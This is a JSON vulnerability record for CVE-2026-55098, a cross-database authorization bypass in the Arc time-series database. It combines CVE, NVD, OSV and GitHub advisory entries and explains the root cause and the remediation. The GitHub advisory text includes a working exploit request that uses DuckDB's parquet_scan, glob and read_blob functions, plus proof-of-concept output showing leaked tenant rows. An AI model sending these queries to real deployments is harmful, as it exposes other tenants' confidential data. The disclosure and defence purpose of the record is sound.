{"id":"CVE-2026-55098","aliases":["EUVD-2026-114443","GHSA-93cm-2v4m-c56c","GO-2026-6913"],"status":"published","title":"Arc: DuckDB I/O aliases bypass database RBAC after CVE-2026-47735","description":"Arc is an open, SQL-native time-series database for telemetry. Prior to the repository-verified 26.06.2 repair, the remediation of `CVE-2026-47735` leaves a cross-database authorization bypass through DuckDB table-valued I/O functions. In `internal/database/sandbox.go`, `allowed_directories` uses `cfg.LocalStorageRoot`, configured by `storage.local_path`, while `enable_external_access=false` blocks access outside that entire multi-tenant root. `GetStoragePath` in `internal/storage/util.go` stores all databases beneath it. In `internal/api/query.go`, `extractTableReferences` skips names followed by an opening parenthesis and `checkQueryPermissions` allows queries with no extracted table references, including tokens with `permissions: []`. The `userSQLReadParquetPattern` denylist catches literal `read_parquet(` and the earlier protection also blocks `arc_partition_agg(`, but misses the `parquet_scan` alias and `glob`, `parquet_metadata`, `parquet_schema`, `read_blob`, `read_csv_auto`, `read_json` and `read_text`. A request to `POST /api/v1/query` using these unblocked functions passes `ValidateSQLRequest` and `convertSQLToStoragePaths` without tenant authorization, allowing reads and enumeration of other databases' time-series data, schema and per-column value-range statistics within the allowlisted root. The sandbox still blocks out-of-root OS files and HTTP SSRF, and the sibling SQLite token database outside the root is not exposed by this mechanism. The earlier 26.06.1 remediation does not comprehensively deny these I/O functions. Repository tag 26.06.2 contains the I/O-function repair and supplies the provisional remediation boundary; conflicting advisory affected-version statements require curator adjudication.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00319,"percentile":0.25143,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200","CWE-863"],"published":"2026-10-30T20:09:04.909Z","modified":"2026-11-05T23:26:12Z","fixes":[{"ecosystem":"Go","package":"github.com/basekick-labs/arc","fixed_in":["0.0.0-20260610131716-5dc8f53b70a3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/basekick-labs/arc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.0-20260610131716-5dc8f53b70a3"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/basekick-labs/arc","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260610131716-5dc8f53b70a3"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/basekick-labs/arc","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260610131716-5dc8f53b70a3"}]}]}],"products":[{"vendor":"basekick-labs","product":"arc"},{"vendor":"nozomi networks","product":"arc"}],"references":[{"url":"https://github.com/Basekick-Labs/arc/security/advisories/GHSA-93cm-2v4m-c56c","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/Basekick-Labs/arc/pull/495","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/Basekick-Labs/arc/commit/5dc8f53b70a3871b16b0cebf328f07c578af7a45","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/Basekick-Labs/arc/tree/v26.06.2","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55098","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-93cm-2v4m-c56c"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55098.json","tags":["advisory"]},{"url":"https://github.com/Basekick-Labs/arc","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-55098","title":"Arc: DuckDB I/O aliases bypass database RBAC after CVE-2026-47735","description":"Arc is an open, SQL-native time-series database for telemetry. Prior to the repository-verified 26.06.2 repair, the remediation of `CVE-2026-47735` leaves a cross-database authorization bypass through DuckDB table-valued I/O functions. In `internal/database/sandbox.go`, `allowed_directories` uses `cfg.LocalStorageRoot`, configured by `storage.local_path`, while `enable_external_access=false` blocks access outside that entire multi-tenant root. `GetStoragePath` in `internal/storage/util.go` stores all databases beneath it. In `internal/api/query.go`, `extractTableReferences` skips names followed by an opening parenthesis and `checkQueryPermissions` allows queries with no extracted table references, including tokens with `permissions: []`. The `userSQLReadParquetPattern` denylist catches literal `read_parquet(` and the earlier protection also blocks `arc_partition_agg(`, but misses the `parquet_scan` alias and `glob`, `parquet_metadata`, `parquet_schema`, `read_blob`, `read_csv_auto`, `read_json` and `read_text`. A request to `POST /api/v1/query` using these unblocked functions passes `ValidateSQLRequest` and `convertSQLToStoragePaths` without tenant authorization, allowing reads and enumeration of other databases' time-series data, schema and per-column value-range statistics within the allowlisted root. The sandbox still blocks out-of-root OS files and HTTP SSRF, and the sibling SQLite token database outside the root is not exposed by this mechanism. The earlier 26.06.1 remediation does not comprehensively deny these I/O functions. Repository tag 26.06.2 contains the I/O-function repair and supplies the provisional remediation boundary; conflicting advisory affected-version statements require curator adjudication.","status":"published","published":"2026-10-30T20:09:04.909Z","modified":"2026-11-02T15:00:56.869Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-200","CWE-863"],"updated_at":"2026-11-02T18:00:08.034842Z"}],"euvd":[{"id":"EUVD-2026-114443","description":"Arc: DuckDB I/O aliases bypass database RBAC after CVE-2026-47735","status":"published","published":"2026-11-04T17:02:37Z","modified":"2026-11-04T17:02:37Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-04T18:12:44.477339Z"}],"ghsa":[{"id":"GHSA-93cm-2v4m-c56c","title":"Arc: DuckDB I/O aliases bypass database RBAC after CVE-2026-47735","description":"### Summary\n\nThe fix for CVE-2026-47735 (released 2026.06.1) is incomplete. It added a DuckDB sandbox (`SET GLOBAL allowed_directories=[\u003cstorage root\u003e]; SET GLOBAL enable_external_access=false`) and an Arc SQL-layer denylist of the **literal** functions `read_parquet(` and `arc_partition_agg(`. The sandbox correctly blocks reads **outside** the storage root (OS files, `http://` SSRF), but it allowlists the **entire multi-tenant storage root**, and the SQL denylist still misses the rest of the DuckDB I/O family the original advisory enumerated. As a result, any authenticated token — including one with `permissions: []` — can read or enumerate **every other database's data** within the deployment, defeating RBAC.\n\nVerified at HEAD `c08b892` (`v26.06.1-36`, includes 26.06.2). Confirmed still live; no later commit blocks these functions.\n\n### Root cause (three composing gaps)\n\n1. **Sandbox scope is the whole storage root, not the tenant.** `internal/database/sandbox.go:111` allowlists `cfg.LocalStorageRoot` (default `storage.local_path=./data/arc`). Every database lives under it — `internal/storage/util.go:33` `GetStoragePath` =\u003e `\u003cbase\u003e/\u003cdatabase\u003e/\u003cmeasurement\u003e/**/*.parquet`. Any in-root path is sandbox-permitted regardless of which database owns it.\n2. **RBAC never inspects table-valued functions.** `checkQueryPermissions` (`internal/api/query.go:1181`) extracts table refs via `extractTableReferences`, which skips any name followed by `(` as a function (`internal/api/query.go:1116`); with zero refs it returns allow (`:1213-1216`). So `parquet_scan(...)`, `glob(...)`, `parquet_metadata(...)`, `read_blob(...)`, `read_csv_auto(...)` are never authorization-checked.\n3. **The SQL denylist matches only the literal spelling.** `userSQLReadParquetPattern` (`internal/api/query.go:2087`) is `\\bread_parquet\\s*\\(`. DuckDB's documented alias **`parquet_scan(`** is not matched, and `read_csv_auto`/`read_json`/`read_text`/`read_blob`/`glob`/`parquet_metadata`/`parquet_schema` are not blocked anywhere. The fix author documented this very threat at `internal/api/query.go:2061-2064` (“a user scoped to db1.m1 could read /data/db2/secrets/**/*.parquet”) but blocked only the literal `read_parquet(`.\n\n### Exploit (authenticated, any token incl. permissions:[])\n\n```\nPOST /api/v1/query\nAuthorization: Bearer \u003ctoken\u003e\nContent-Type: application/json\n{\"sql\": \"SELECT * FROM parquet_scan('./data/arc/\u003cvictim-db\u003e/\u003cmeasurement\u003e/**/*.parquet')\"}\n```\n\n- `ValidateSQLRequest` passes (`parquet_scan(` is not `read_parquet(`, not a dangerous keyword, single statement).\n- `checkQueryPermissions` extracts 0 table refs (it is a function call) and allows.\n- `convertSQLToStoragePaths` finds no `read_parquet` literal and no bare `FROM measurement` to rewrite, so the query passes through unchanged.\n- DuckDB runs `parquet_scan('\u003croot\u003e/\u003cvictim-db\u003e/...')`; the path is inside `allowed_directories`, so the other database's rows are returned.\n\n`glob('./data/arc/**/*')` enumerates every database/measurement/file; `parquet_metadata(...)`/`parquet_schema(...)` leak column names and per-column min/max value statistics; `read_blob(...)` returns raw file bytes. All operate within the allowlisted root.\n\n### Proof (poc/poc_sandbox_alias_bypass.py, poc/OUTPUT.txt)\n\nReproduces Arc's exact sandbox config (`allowed_directories=[\u003croot\u003e]`, `enable_external_access=false`) on DuckDB 1.5.x (Arc pins duckdb-go-bindings 1.5.1) with a victim parquet written under the root:\n\n```\n[BLOCKED ] read_blob OUTSIDE root            -\u003e Permission Error: Cannot access file ...\n[EXECUTES] parquet_scan victim (read_parquet ALIAS) -\u003e [('tenant-VICTIM-row', 42)]\n[EXECUTES] glob enumerate every db under root -\u003e [('.../data/arc/victim-db/secrets/f.parquet',)]\n[EXECUTES] parquet_metadata victim           -\u003e [('leaked','tenant-VICTIM-row','tenant-VICTIM-row'), ('v','42','42')]\n```\n\nThe sandbox blocks escape (as designed) but permits every in-root cross-database read.\n\n### Impact\n\nCross-database / cross-tenant confidential read by any authenticated principal, including a least-privileged (`permissions: []`) token, on RBAC-enabled deployments. This is the same RBAC-bypass impact the original advisory described for `read_parquet`, still reachable via the alias and the unblocked I/O family. (Arc's SQLite token DB `./data/arc.db` is a sibling of `./data/arc/` and is **not** in the allowlist, so it is not readable this way — the exposure is the time-series data of every database, plus its schema and value-range statistics.)\n\n### Remediation\n\nPer-request scope the sandbox to the requesting token's authorized database path(s): `allowed_directories = ['\u003cbase\u003e/\u003cauthorized-db\u003e/']`, so the file layer cannot cross the RBAC boundary regardless of which function is used. Alternatively, replace the function-name denylist with a strict allowlist of permitted table functions (alias-resolved, reject all others). A denylist of literal spellings is structurally fragile — this is the second alias/family miss after the original audit.","status":"published","published":"2026-11-04T17:02:37Z","modified":"2026-11-04T17:02:38Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-200","CWE-863"],"updated_at":"2026-11-04T17:24:03.876303Z"}],"nvd":[{"id":"CVE-2026-55098","description":"Arc is an open, SQL-native time-series database for telemetry. Prior to the repository-verified 26.06.2 repair, the remediation of `CVE-2026-47735` leaves a cross-database authorization bypass through DuckDB table-valued I/O functions. In `internal/database/sandbox.go`, `allowed_directories` uses `cfg.LocalStorageRoot`, configured by `storage.local_path`, while `enable_external_access=false` blocks access outside that entire multi-tenant root. `GetStoragePath` in `internal/storage/util.go` stores all databases beneath it. In `internal/api/query.go`, `extractTableReferences` skips names followed by an opening parenthesis and `checkQueryPermissions` allows queries with no extracted table references, including tokens with `permissions: []`. The `userSQLReadParquetPattern` denylist catches literal `read_parquet(` and the earlier protection also blocks `arc_partition_agg(`, but misses the `parquet_scan` alias and `glob`, `parquet_metadata`, `parquet_schema`, `read_blob`, `read_csv_auto`, `read_json` and `read_text`. A request to `POST /api/v1/query` using these unblocked functions passes `ValidateSQLRequest` and `convertSQLToStoragePaths` without tenant authorization, allowing reads and enumeration of other databases' time-series data, schema and per-column value-range statistics within the allowlisted root. The sandbox still blocks out-of-root OS files and HTTP SSRF, and the sibling SQLite token database outside the root is not exposed by this mechanism. The earlier 26.06.1 remediation does not comprehensively deny these I/O functions. Repository tag 26.06.2 contains the I/O-function repair and supplies the provisional remediation boundary; conflicting advisory affected-version statements require curator adjudication.","status":"published","published":"2026-10-30T20:17:09.773Z","modified":"2026-11-02T19:35:33.347Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-200","CWE-863"],"updated_at":"2026-11-03T00:02:42.364722Z"}],"osv":[{"id":"CVE-2026-55098","title":"Arc: DuckDB I/O aliases bypass database RBAC after CVE-2026-47735","description":"Arc is an open, SQL-native time-series database for telemetry. Prior to the repository-verified 26.06.2 repair, the remediation of `CVE-2026-47735` leaves a cross-database authorization bypass through DuckDB table-valued I/O functions. In `internal/database/sandbox.go`, `allowed_directories` uses `cfg.LocalStorageRoot`, configured by `storage.local_path`, while `enable_external_access=false` blocks access outside that entire multi-tenant root. `GetStoragePath` in `internal/storage/util.go` stores all databases beneath it. In `internal/api/query.go`, `extractTableReferences` skips names followed by an opening parenthesis and `checkQueryPermissions` allows queries with no extracted table references, including tokens with `permissions: []`. The `userSQLReadParquetPattern` denylist catches literal `read_parquet(` and the earlier protection also blocks `arc_partition_agg(`, but misses the `parquet_scan` alias and `glob`, `parquet_metadata`, `parquet_schema`, `read_blob`, `read_csv_auto`, `read_json` and `read_text`. A request to `POST /api/v1/query` using these unblocked functions passes `ValidateSQLRequest` and `convertSQLToStoragePaths` without tenant authorization, allowing reads and enumeration of other databases' time-series data, schema and per-column value-range statistics within the allowlisted root. The sandbox still blocks out-of-root OS files and HTTP SSRF, and the sibling SQLite token database outside the root is not exposed by this mechanism. The earlier 26.06.1 remediation does not comprehensively deny these I/O functions. Repository tag 26.06.2 contains the I/O-function repair and supplies the provisional remediation boundary; conflicting advisory affected-version statements require curator adjudication.","status":"published","published":"2026-10-30T20:09:04.909Z","modified":"2026-11-05T23:26:12.139553879Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-200","CWE-863"],"updated_at":"2026-11-06T00:02:13.631839Z"},{"id":"GHSA-93cm-2v4m-c56c","title":"Arc: DuckDB I/O aliases bypass database RBAC after CVE-2026-47735","description":"### Summary\n\nThe fix for CVE-2026-47735 (released 2026.06.1) is incomplete. It added a DuckDB sandbox (`SET GLOBAL allowed_directories=[\u003cstorage root\u003e]; SET GLOBAL enable_external_access=false`) and an Arc SQL-layer denylist of the **literal** functions `read_parquet(` and `arc_partition_agg(`. The sandbox correctly blocks reads **outside** the storage root (OS files, `http://` SSRF), but it allowlists the **entire multi-tenant storage root**, and the SQL denylist still misses the rest of the DuckDB I/O family the original advisory enumerated. As a result, any authenticated token — including one with `permissions: []` — can read or enumerate **every other database's data** within the deployment, defeating RBAC.\n\nVerified at HEAD `c08b892` (`v26.06.1-36`, includes 26.06.2). Confirmed still live; no later commit blocks these functions.\n\n### Root cause (three composing gaps)\n\n1. **Sandbox scope is the whole storage root, not the tenant.** `internal/database/sandbox.go:111` allowlists `cfg.LocalStorageRoot` (default `storage.local_path=./data/arc`). Every database lives under it — `internal/storage/util.go:33` `GetStoragePath` =\u003e `\u003cbase\u003e/\u003cdatabase\u003e/\u003cmeasurement\u003e/**/*.parquet`. Any in-root path is sandbox-permitted regardless of which database owns it.\n2. **RBAC never inspects table-valued functions.** `checkQueryPermissions` (`internal/api/query.go:1181`) extracts table refs via `extractTableReferences`, which skips any name followed by `(` as a function (`internal/api/query.go:1116`); with zero refs it returns allow (`:1213-1216`). So `parquet_scan(...)`, `glob(...)`, `parquet_metadata(...)`, `read_blob(...)`, `read_csv_auto(...)` are never authorization-checked.\n3. **The SQL denylist matches only the literal spelling.** `userSQLReadParquetPattern` (`internal/api/query.go:2087`) is `\\bread_parquet\\s*\\(`. DuckDB's documented alias **`parquet_scan(`** is not matched, and `read_csv_auto`/`read_json`/`read_text`/`read_blob`/`glob`/`parquet_metadata`/`parquet_schema` are not blocked anywhere. The fix author documented this very threat at `internal/api/query.go:2061-2064` (“a user scoped to db1.m1 could read /data/db2/secrets/**/*.parquet”) but blocked only the literal `read_parquet(`.\n\n### Exploit (authenticated, any token incl. permissions:[])\n\n```\nPOST /api/v1/query\nAuthorization: Bearer \u003ctoken\u003e\nContent-Type: application/json\n{\"sql\": \"SELECT * FROM parquet_scan('./data/arc/\u003cvictim-db\u003e/\u003cmeasurement\u003e/**/*.parquet')\"}\n```\n\n- `ValidateSQLRequest` passes (`parquet_scan(` is not `read_parquet(`, not a dangerous keyword, single statement).\n- `checkQueryPermissions` extracts 0 table refs (it is a function call) and allows.\n- `convertSQLToStoragePaths` finds no `read_parquet` literal and no bare `FROM measurement` to rewrite, so the query passes through unchanged.\n- DuckDB runs `parquet_scan('\u003croot\u003e/\u003cvictim-db\u003e/...')`; the path is inside `allowed_directories`, so the other database's rows are returned.\n\n`glob('./data/arc/**/*')` enumerates every database/measurement/file; `parquet_metadata(...)`/`parquet_schema(...)` leak column names and per-column min/max value statistics; `read_blob(...)` returns raw file bytes. All operate within the allowlisted root.\n\n### Proof (poc/poc_sandbox_alias_bypass.py, poc/OUTPUT.txt)\n\nReproduces Arc's exact sandbox config (`allowed_directories=[\u003croot\u003e]`, `enable_external_access=false`) on DuckDB 1.5.x (Arc pins duckdb-go-bindings 1.5.1) with a victim parquet written under the root:\n\n```\n[BLOCKED ] read_blob OUTSIDE root            -\u003e Permission Error: Cannot access file ...\n[EXECUTES] parquet_scan victim (read_parquet ALIAS) -\u003e [('tenant-VICTIM-row', 42)]\n[EXECUTES] glob enumerate every db under root -\u003e [('.../data/arc/victim-db/secrets/f.parquet',)]\n[EXECUTES] parquet_metadata victim           -\u003e [('leaked','tenant-VICTIM-row','tenant-VICTIM-row'), ('v','42','42')]\n```\n\nThe sandbox blocks escape (as designed) but permits every in-root cross-database read.\n\n### Impact\n\nCross-database / cross-tenant confidential read by any authenticated principal, including a least-privileged (`permissions: []`) token, on RBAC-enabled deployments. This is the same RBAC-bypass impact the original advisory described for `read_parquet`, still reachable via the alias and the unblocked I/O family. (Arc's SQLite token DB `./data/arc.db` is a sibling of `./data/arc/` and is **not** in the allowlist, so it is not readable this way — the exposure is the time-series data of every database, plus its schema and value-range statistics.)\n\n### Remediation\n\nPer-request scope the sandbox to the requesting token's authorized database path(s): `allowed_directories = ['\u003cbase\u003e/\u003cauthorized-db\u003e/']`, so the file layer cannot cross the RBAC boundary regardless of which function is used. Alternatively, replace the function-name denylist with a strict allowlist of permitted table functions (alias-resolved, reject all others). A denylist of literal spellings is structurally fragile — this is the second alias/family miss after the original audit.","status":"published","published":"2026-11-04T17:02:37Z","modified":"2026-11-05T23:26:12.139553879Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-200","CWE-863"],"updated_at":"2026-11-06T00:02:13.631839Z"},{"id":"GO-2026-6913","title":"Arc: DuckDB I/O aliases bypass database RBAC after CVE-2026-47735 in github.com/basekick-labs/arc","description":"Arc: DuckDB I/O aliases bypass database RBAC after CVE-2026-47735 in github.com/basekick-labs/arc","status":"published","published":"2026-11-05T22:55:09Z","modified":"2026-11-05T23:15:18.153435289Z","updated_at":"2026-11-06T00:02:13.631839Z"}]}}
